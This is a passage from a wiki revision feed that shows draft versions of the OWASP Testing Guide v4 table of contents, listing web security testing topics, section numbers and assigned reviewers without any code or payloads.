[[WS Naughty SOAP Attachment Testing (OWASP-WS-008)|4.14.8 WS Naughty SOAP Attachment Testing (OTG-WEBSVC-008)]] formerly &amp;quot;WS Naughty SOAP Attachment Testing (OWASP-WS-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Replay/MiTM Testing (OWASP-WS-009)|4.14.9 WS Replay/MiTM Testing (OTG-WEBSVC-009)]] formerly &amp;quot;WS Replay/MiTM Testing (OWASP-WS-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS BEPL Testing (OWASP-WS-010)|4.14.10 WS BEPL Testing (OTG-WEBSVC-010)]] formerly &amp;quot;WS BEPL Testing (OWASP-WS-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Client Side Testing|'''4.15 Client Side Testing''']] [New!] &lt;br /&gt;
&lt;br /&gt;
[[Testing for DOM-based Cross site scripting  (OWASP-DV-003)|4.15.1 Testing for DOM based Cross Site Scripting  (OTG-CLIENT-001)]] formerly &amp;quot;Testing for DOM based Cross Site Scripting  (OWASP-CS-001)&amp;quot; [Stefano Di Paola]&lt;br /&gt;
&lt;br /&gt;
[[Testing Cross Origin Resource Sharing (OWASP CS-002)|4.15.2 Testing Cross Origin Resource Sharing  (OTG-CLIENT-002)]] formerly &amp;quot;Testing for HTML5 (OWASP CS-002)&amp;quot; [Juan Galiana]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Cross site flashing (OWASP-DV-004)|4.15.3 Testing for Cross Site Flashing   (OTG-CLIENT-003)]] formerly &amp;quot;Testing for Cross Site Flashing   (OWASP-CS-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Clickjacking (OWASP-CS-004)|4.15.4 Testing for Clickjacking (OTG-CLIENT-004)]] formerly &amp;quot;Testing for Clickjacking (OWASP-CS-004)&amp;quot; [Davide Danelon]&lt;br /&gt;
&lt;br /&gt;
[[Testing WebSockets|4.15.5 WebSocket Testing (OTG-CLIENT-005)]] [Ryan Dewhurst]&lt;br /&gt;
&lt;br /&gt;
[[Testing Web Messaging|4.15.6 [Testing Web Messaging (OTG-CLIENT-006)]] [Juan Galiana]&lt;br /&gt;
&lt;br /&gt;
[[Testing Local Storage|4.15.7 Testing Local Storage (OTG-CLIENT-007)]] [Juan Galiana]&lt;br /&gt;
&lt;br /&gt;
[[Testing Sandboxed Iframes|4.15.8 Testing Sandboxed Iframes (OTG-CLIENT-008)]] [Juan Galiana]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[Writing Reports: value the real risk |5. Writing Reports: value the real risk ]]==&lt;br /&gt;
&lt;br /&gt;
[[How to value the real risk |5.1 How to value the real risk]] [To review--&amp;gt; Amro AlOlaqi]&lt;br /&gt;
&lt;br /&gt;
[[How to write the report of the testing |5.2 How to write the report of the testing]] [To review--&amp;gt; Amro AlOlaqi]&lt;br /&gt;
&lt;br /&gt;
==[[Appendix A: Testing Tools |Appendix A: Testing Tools ]]==&lt;br /&gt;
&lt;br /&gt;
* Black Box Testing Tools [To review--&amp;gt; Amro AlOlaqi]&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix B: Suggested Reading | Appendix B: Suggested Reading]]==&lt;br /&gt;
* Whitepapers [To review--&amp;gt; David Fern]&lt;br /&gt;
* Books [To review--&amp;gt; David Fern]&lt;br /&gt;
* Useful Websites [To review--&amp;gt; David Fern]&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix C: Fuzz Vectors | Appendix C: Fuzz Vectors]]==&lt;br /&gt;
&lt;br /&gt;
* Fuzz Categories [To review--&amp;gt; Amro AlOlaqi]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix D: Encoded Injection | Appendix D: Encoded Injection]]==&lt;br /&gt;
&lt;br /&gt;
[To review--&amp;gt; Amro AlOlaqi]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Testing Project]]&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v4_Table_of_Contents&amp;diff=157943</id>
		<title>OWASP Testing Guide v4 Table of Contents</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v4_Table_of_Contents&amp;diff=157943"/>
				<updated>2013-09-05T13:34:58Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: Changes in Client-side section&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&lt;br /&gt;
'''This is the DRAFT of the table of content of the New Testing Guide v4.'''&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;You can download the stable version v3 [http://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf here] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Back to the OWASP Testing Guide Project:&lt;br /&gt;
http://www.owasp.org/index.php/OWASP_Testing_Project&lt;br /&gt;
&lt;br /&gt;
'''Updated: 15th February 2013'''&lt;br /&gt;
&lt;br /&gt;
[[ OWTGv4 Contributors list|'''Contributors List]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The following is a DRAFT of the Toc based on the feedback already received.&lt;br /&gt;
&lt;br /&gt;
== Table of Contents ==&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Foreword|Foreword by Eoin Keary]]== &lt;br /&gt;
[To review--&amp;gt; Eoin Keary -&amp;gt; Done!!]&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Frontispiece |1. Frontispiece]]== &lt;br /&gt;
[To review--&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
'''[[Testing Guide Frontispiece|1.1 About the OWASP Testing Guide Project]]''' &lt;br /&gt;
[To review--&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
'''[[About The Open Web Application Security Project|1.2 About The Open Web Application Security Project]]''' &lt;br /&gt;
[To review--&amp;gt; ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Introduction|2. Introduction]]==&lt;br /&gt;
&lt;br /&gt;
'''2.1 The OWASP Testing Project'''&lt;br /&gt;
&lt;br /&gt;
'''2.2 Principles of Testing'''&lt;br /&gt;
&lt;br /&gt;
'''2.3 Testing Techniques Explained''' &lt;br /&gt;
&lt;br /&gt;
2.4 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Requirements_Test_Derivation Security requirements test derivation],[https://www.owasp.org/index.php/Testing_Guide_Introduction#Functional_and_Non_Functional_Test_Requirements functional and non functional test requirements], and [https://www.owasp.org/index.php/Testing_Guide_Introduction#Test_Cases_Through_Use_and_Misuse_Cases test cases through use and misuse cases]&lt;br /&gt;
&lt;br /&gt;
2.5 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Test_Data_Analysis_and_Reporting Security test data analysis and reporting: root cause identification and business/role case test data reporting]&lt;br /&gt;
&lt;br /&gt;
==[[The OWASP Testing Framework|3. The OWASP Testing Framework]]==&lt;br /&gt;
&lt;br /&gt;
'''3.1. Overview'''&lt;br /&gt;
&lt;br /&gt;
'''3.2. Phase 1: Before Development Begins '''&lt;br /&gt;
&lt;br /&gt;
'''3.3. Phase 2: During Definition and Design'''&lt;br /&gt;
&lt;br /&gt;
'''3.4. Phase 3: During Development'''&lt;br /&gt;
&lt;br /&gt;
'''3.5. Phase 4: During Deployment'''&lt;br /&gt;
&lt;br /&gt;
'''3.6. Phase 5: Maintenance and Operations'''&lt;br /&gt;
&lt;br /&gt;
'''3.7. A Typical SDLC Testing Workflow '''&lt;br /&gt;
&lt;br /&gt;
==[[Web Application Penetration Testing |4. Web Application Penetration Testing ]]==&lt;br /&gt;
&lt;br /&gt;
[[Testing: Introduction and objectives|'''4.1 Introduction and Objectives''']] [To review--&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
[[Testing Checklist| 4.1.1 Testing Checklist]] [To review at the end of brainstorming --&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing Information Gathering|'''4.2 Information Gathering ''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing: Search engine discovery/reconnaissance (OWASP-IG-002)|4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001) ]] formerly &amp;quot;Search Engine Discovery/Reconnaissance (OWASP-IG-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Fingerprint Web Server (OTG-INFO-002)|4.2.2 Fingerprint Web Server (OTG-INFO-002) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing: Spiders, Robots, and Crawlers (OWASP-IG-001)|4.2.3 Review Webserver Metafiles for Information Leakage (OTG-INFO-003) ]] formerly &amp;quot;Spiders, Robots and Crawlers (OWASP-IG-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Application Discovery (OWASP-IG-005)|4.2.4 Enumerate Applications on Webserver (OTG-INFO-004) ]] formerly &amp;quot;Application Discovery (OWASP-IG-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing Review webpage comments and metadata(OWASP-IG-007)|4.2.5 Review Webpage Comments and Metadata for Information Leakage (OTG-INFO-005) ]] formerly &amp;quot;Review webpage comments and metadata(OWASP-IG-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing: Identify application entry points (OWASP-IG-003)|4.2.6 Identify application entry points (OTG-INFO-006) ]] formerly &amp;quot;Identify application entry points (OWASP-IG-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing Identify application exit/handover points (OWASP-IG-008)|4.2.7 Identify application exit/handover points (OTG-INFO-007) ]] formerly &amp;quot;Identify application exit/handover points (OWASP-IG-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing Map execution paths through application (OWASP-IG-009)|4.2.8 Map execution paths through application (OTG-INFO-008)]] formerly &amp;quot;Map execution paths through application (OWASP-IG-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Fingerprint Web Application Framework (OTG-INFO-009)|4.2.9 Fingerprint Web Application Framework (OTG-INFO-009) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Web Application (OTG-INFO-011)|4.2.10 Fingerprint Web Application (OTG-INFO-010) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Map Network and Application Architecture (OTG-INFO-012)|4.2.11 Map Network and Application Architecture (OTG-INFO-011) ]] formerly &amp;quot;Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for configuration management|'''4.3 Configuration and Deploy Management Testing ''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for infrastructure configuration management (OWASP-CM-003)|4.3.1 Test Network/Infrastructure Configuration (OTG-CONFIG-001) ]] formerly &amp;quot;Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for application configuration management (OWASP-CM-004)|4.3.2 Test Application Platform Configuration (OTG-CONFIG-002) ]] formerly &amp;quot;Testing for Application Configuration Management weakness (OWASP-CM-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for file extensions handling  (OWASP-CM-005)|4.3.3 Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003) ]] formerly &amp;quot;Testing for File Extensions Handling  (OWASP-CM-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Old, Backup and Unreferenced Files (OWASP-CM-006)|4.3.4 Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004) ]] formerly &amp;quot;Old, Backup and Unreferenced Files (OWASP-CM-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Admin Interfaces  (OWASP-CM-007)|4.3.5 Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005) ]] formerly &amp;quot;Infrastructure and Application Admin Interfaces  (OWASP-CM-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Methods and XST  (OWASP-CM-008)|4.3.6 Test HTTP Methods (OTG-CONFIG-006) ]] formerly &amp;quot;Testing for Bad HTTP Methods (OWASP-CM-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Database credentials/connection strings available|4.3.7 Testing for Database credentials/connection strings available (OTG-CONFIG-007) ]] formerly &amp;quot;Testing for Database credentials/connection strings available (OWASP-CM-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Content Security Policy weakness|4.3.8 Test Content Security Policy (OTG-CONFIG-008) ]] formerly &amp;quot;Testing for Content Security Policy weakness (OWASP-CM-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Missing HSTS header|4.3.9 Test HTTP Strict Transport Security (OTG-CONFIG-009) ]] formerly &amp;quot;Testing for Missing HSTS header (OWASP-CM-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Frame Options|4.3.10 Test Frame Options (OTG-CONFIG-010) ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for RIA policy files weakness|4.3.11 Test RIA cross domain policy (OTG-CONFIG-011) ]] formerly &amp;quot;Testing for RIA policy files weakness (OWASP-CM-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Content Type Options|4.3.12 Test Content Type Options (OTG-CONFIG-012) ]] new&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing Identity Management|'''4.4 Identity Management Testing''']]&lt;br /&gt;
&lt;br /&gt;
[[Test Role Definitions (OTG-IDENT-001)|4.4.1 Test Role Definitions (OTG-IDENT-001)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test User Registration Process (OTG-IDENT-002)|4.4.2 Test User Registration Process (OTG-IDENT-002)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test Account Provisioning Process (OTG-IDENT-003)|4.4.3 Test Account Provisioning Process (OTG-IDENT-003)]] New&lt;br /&gt;
&lt;br /&gt;
[[Testing for Account Enumeration and Guessable User Account (OWASP-AT-002)|4.4.4 Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004) ]] formerly &amp;quot;Testing for Account Enumeration and Guessable User Account (OWASP-AT-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak or unenforced username policy (OWASP-AT-009)| 4.4.5 Testing for Weak or unenforced username policy (OTG-IDENT-005)]] formerly &amp;quot;Testing for Weak or unenforced username policy (OWASP-AT-009)&lt;br /&gt;
&lt;br /&gt;
[[Test Permissions of Guest/Training Accounts (OTG-IDENT-006)|4.4.6 Test Permissions of Guest/Training Accounts (OTG-IDENT-006)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test Account Suspension/Resumption Process (OTG-IDENT-007)|4.4.7 Test Account Suspension/Resumption Process (OTG-IDENT-007)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test User Deregistration Process (OTG-IDENT-008)|4.4.8 Test User Deregistration Process (OTG-IDENT-008)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test Account Deregistration Process (OTG-IDENT-009)|4.4.9 Test Account Deregistration Process (OTG-IDENT-009)]] New&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for authentication|'''4.5 Authentication Testing ''']] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)|4.5.1 Testing for Credentials Transported over an Encrypted Channel  (OTG-AUTHN-001)]] formerly &amp;quot;Testing for Credentials Transported over an Encrypted Channel  (OWASP-AT-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for default credentials (OWASP-AT-003)|4.5.2 Testing for default credentials (OTG-AUTHN-002)]] formerly &amp;quot;Testing for default credentials (OWASP-AT-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak lock out mechanism (OWASP-AT-004)|4.5.3 Testing for Weak lock out mechanism (OTG-AUTHN-003)]] formerly &amp;quot;Testing for Weak lock out mechanism (OWASP-AT-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Bypassing Authentication Schema (OWASP-AT-005)|4.5.4 Testing for bypassing authentication schema (OTG-AUTHN-004)]] formerly &amp;quot;Testing for bypassing authentication schema (OWASP-AT-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Vulnerable Remember Password (OWASP-AT-006)|4.5.5 Test remember password functionality (OTG-AUTHN-005)]] formerly &amp;quot;Testing for vulnerable remember password functionality (OWASP-AT-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Browser cache weakness (OWASP-AT-007)|4.5.6 Testing for Browser cache weakness (OTG-AUTHN-006)]] formerly &amp;quot;Testing for Browser cache weakness (OWASP-AT-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak password policy (OWASP-AT-008)|4.5.7 Testing for Weak password policy (OTG-AUTHN-007)]] formerly &amp;quot;Testing for Weak password policy (OWASP-AT-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak security question/answer (OTG-AUTHN-008)|4.5.8 Testing for Weak security question/answer (OTG-AUTHN-008)]] New! - Robert Winkel&lt;br /&gt;
&lt;br /&gt;
[[Testing for weak password change or reset functionalities (OWASP-AT-011)|4.5.9 Testing for weak password change or reset functionalities (OTG-AUTHN-009)]] formerly &amp;quot;Testing for weak password change or reset functionalities (OWASP-AT-011)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)|4.5.10 Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]] (e.g. mobile app, IVR, help desk)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for Authorization|'''4.6 Authorization Testing''']] &lt;br /&gt;
&lt;br /&gt;
[[Test Management of Account Permissions (OTG-AUTHZ-001)|4.6.1 Test Management of Account Permissions (OTG-AUTHZ-001)]] New&lt;br /&gt;
&lt;br /&gt;
[[Testing for Path Traversal  (OWASP-AZ-001)|4.6.2 Testing Directory traversal/file include (OTG-AUTHZ-002)]] formerly &amp;quot;Testing Directory traversal/file include (OWASP-AZ-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Bypassing Authorization Schema  (OWASP-AZ-002)|4.6.3 Testing for bypassing authorization schema (OTG-AUTHZ-003)]] formerly &amp;quot;Testing for bypassing authorization schema  (OWASP-AZ-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Privilege escalation  (OWASP-AZ-003)|4.6.4 Testing for Privilege Escalation (OTG-AUTHZ-004)]] formerly &amp;quot;Testing for Privilege Escalation  (OWASP-AZ-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Insecure Direct Object References (OWASP-AZ-004)|4.6.5 Testing for Insecure Direct Object References (OTG-AUTHZ-005)]] formerly &amp;quot;Testing for Insecure Direct Object References (OWASP-AZ-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)|4.6.6 Testing for Failure to Restrict access to authorized resource (OTG-AUTHZ-006)]] formerly &amp;quot;Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Test privileges of server components (OTG-AUTHZ-007)|4.6.7 Test privileges of server components (OTG-AUTHZ-007)]] (e.g. indexing service, reporting interface, file generator)&lt;br /&gt;
&lt;br /&gt;
[[Test enforcement of application entry points (OTG-AUTHZ-008)|4.6.8 Test enforcement of application entry points (OTG-AUTHZ-008)]] (including exposure of objects)&lt;br /&gt;
&lt;br /&gt;
[[Testing for failure to restrict access to authenticated resource(OWASP-AT-010)|4.6.9 Testing for failure to restrict access to authenticated resource (OTG-AUTHZ-009)]] formerly &amp;quot;Testing for failure to restrict access to authenticated resource (OWASP-AT-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session Management|'''4.7 Session Management Testing''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session_Management_Schema (OWASP-SM-001)|4.7.1 Testing for Bypassing Session Management Schema (OTG-SESS-001)]] formerly &amp;quot;Testing for Bypassing Session Management Schema (OWASP-SM-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for cookies attributes  (OWASP-SM-002)|4.7.2 Testing for Cookies attributes (OTG-SESS-002)]] formerly &amp;quot;Testing for Cookies attributes (OWASP-SM-002)&amp;quot; (Cookies are set not ‘HTTP Only’, ‘Secure’,  and no time validity)&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session Fixation  (OWASP-SM-003)|4.7.3 Testing for Session Fixation (OTG-SESS-003)]] formerly &amp;quot;Testing for Session Fixation  (OWASP-SM-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Exposed Session Variables  (OWASP-SM-004)|4.7.4 Testing for Exposed Session Variables (OTG-SESS-004)]] formerly &amp;quot;Testing for Exposed Session Variables (OWASP-SM-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for CSRF  (OWASP-SM-005)|4.7.5 Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)]] formerly &amp;quot;Testing for Cross Site Request Forgery (CSRF) (OWASP-SM-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Test Session Token Strength (OTG-SESS-006)|4.7.6 Test Session Token Strength (OTG-SESS-006)]]&lt;br /&gt;
 &lt;br /&gt;
[[Testing for logout functionality (OWASP-SM-007)|4.7.7 Testing for logout functionality (OTG-SESS-007)]] formerly &amp;quot;Testing for logout functionality (OWASP-SM-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session puzzling (OWASP-SM-008)|4.7.8 Testing for Session puzzling (OWASP-SM-008)]]&lt;br /&gt;
&lt;br /&gt;
[[Test Session Timeout (OTG-SESS-008)|4.7.8 Test Session Timeout (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
[[Test multiple concurrent sessions (OTG-SESS-009)|4.7.9 Test multiple concurrent sessions (OTG-SESS-009)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for Data Validation|'''4.8 Data Validation Testing''']] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Reflected Cross site scripting (OWASP-DV-001) |4.8.1 Testing for Reflected Cross Site Scripting (OTG-INPVAL-001)]] formerly &amp;quot;Testing for Reflected Cross Site Scripting (OWASP-DV-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Stored Cross site scripting (OWASP-DV-002) |4.8.2 Testing for Stored Cross Site Scripting (OTG-INPVAL-002)]] formerly &amp;quot;Testing for Stored Cross Site Scripting (OWASP-DV-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Verb Tampering (OWASP-DV-003)|4.8.3 Testing for HTTP Verb Tampering (OTG-INPVAL-003)]] formerly &amp;quot;Testing for HTTP Verb Tampering (OWASP-DV-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Parameter pollution (OWASP-DV-004)|4.8.4 Testing for HTTP Parameter pollution (OTG-INPVAL-004) ]] formerly &amp;quot;Testing for HTTP Parameter pollution (OWASP-DV-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)|4.8.5 Testing for Unvalidated Redirects and Forwards (OTG-INPVAL-005) ]] formerly &amp;quot;Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for SQL Injection (OWASP-DV-005)| 4.8.6 Testing for SQL Injection (OTG-INPVAL-006)]] formerly &amp;quot;Testing for SQL Injection (OWASP-DV-005)&amp;quot; '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
[[Testing for Oracle|4.8.6.1 Oracle Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for MySQL|4.8.6.2 MySQL Testing [Ismael Gonçalves]]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for SQL Server|4.8.6.3 SQL Server Testing]]&lt;br /&gt;
&lt;br /&gt;
[[OWASP_Backend_Security_Project_Testing_PostgreSQL|4.8.6.4 Testing PostgreSQL (from OWASP BSP) ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for MS Access |4.8.6.5 MS Access Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for NoSQL injection|4.8.6.6 Testing for NoSQL injection [New!]]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for LDAP Injection  (OWASP-DV-006)|4.8.7 Testing for LDAP Injection  (OTG-INPVAL-007)]] formerly &amp;quot;Testing for LDAP Injection  (OWASP-DV-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for ORM Injection   (OWASP-DV-007)|4.8.8 Testing for ORM Injection   (OTG-INPVAL-008)]] formerly &amp;quot;Testing for ORM Injection   (OWASP-DV-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for XML Injection (OWASP-DV-008)|4.8.9 Testing for XML Injection (OTG-INPVAL-009)]] formerly &amp;quot;Testing for XML Injection (OWASP-DV-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for SSI Injection  (OWASP-DV-009)|4.8.10 Testing for SSI Injection  (OTG-INPVAL-010)]] formerly &amp;quot;Testing for SSI Injection  (OWASP-DV-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for XPath Injection  (OWASP-DV-010)|4.8.11 Testing for XPath Injection  (OTG-INPVAL-011)]] formerly &amp;quot;Testing for XPath Injection  (OWASP-DV-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for IMAP/SMTP Injection  (OWASP-DV-011)|4.8.12 IMAP/SMTP Injection  (OTG-INPVAL-012)]] formerly &amp;quot;IMAP/SMTP Injection  (OWASP-DV-011)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Code Injection  (OWASP-DV-012)|4.8.13 Testing for Code Injection  (OTG-INPVAL-013)]] formerly &amp;quot;Testing for Code Injection  (OWASP-DV-012)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Local File Inclusion|4.8.13.1 Testing for Local File Inclusion]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Remote File Inclusion|4.8.13.2 Testing for Remote File Inclusion]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Command Injection   (OWASP-DV-013)|4.8.14 Testing for Command Injection   (OTG-INPVAL-014)]] formerly &amp;quot;Testing for Command Injection   (OWASP-DV-013)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Buffer Overflow (OWASP-DV-014)|4.8.15 Testing for Buffer overflow (OTG-INPVAL-015)]] formerly &amp;quot;Testing for Buffer overflow (OWASP-DV-014)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Heap Overflow|4.8.15.1 Testing for Heap overflow]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Stack Overflow|4.8.15.2 Testing for Stack overflow]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Format String|4.8.15.3 Testing for Format string]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Incubated Vulnerability (OWASP-DV-015)|4.8.16 Testing for incubated vulnerabilities (OTG-INPVAL-016)]] formerly &amp;quot;Testing for incubated vulnerabilities (OWASP-DV-015)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Splitting/Smuggling  (OWASP-DV-016)|4.8.17 Testing for HTTP Splitting/Smuggling  (OTG-INPVAL-017) ]] formerly &amp;quot;Testing for HTTP Splitting/Smuggling  (OWASP-DV-016)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Error Handling|'''4.9 Error Handling''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Error Code (OWASP-IG-006)|4.9.1 Analysis of Error Codes (OTG-ERR-001)]] formerly &amp;quot;Analysis of Error Codes (OWASP-IG-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Stack Traces (OWASP-IG-XXX)|4.9.2 Analysis of Stack Traces (OTG-ERR-002)]] formerly &amp;quot;Analysis of Stack Traces&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Cryptography|'''4.10 Cryptography''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Insecure encryption usage (OWASP-EN-001)| 4.10.1  Testing for Insecure encryption usage (OTG-CRYPST-001)]] formerly &amp;quot;Testing for Insecure encryption usage (OWASP-EN-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)| 4.10.2 Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-002)]] formerly &amp;quot;Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Padding Oracle (OWASP-EN-003)| 4.10.3 Testing for Padding Oracle (OTG-CRYPST-003)]] formerly &amp;quot;Testing for Padding Oracle (OWASP-EN-003)&amp;quot;&lt;br /&gt;
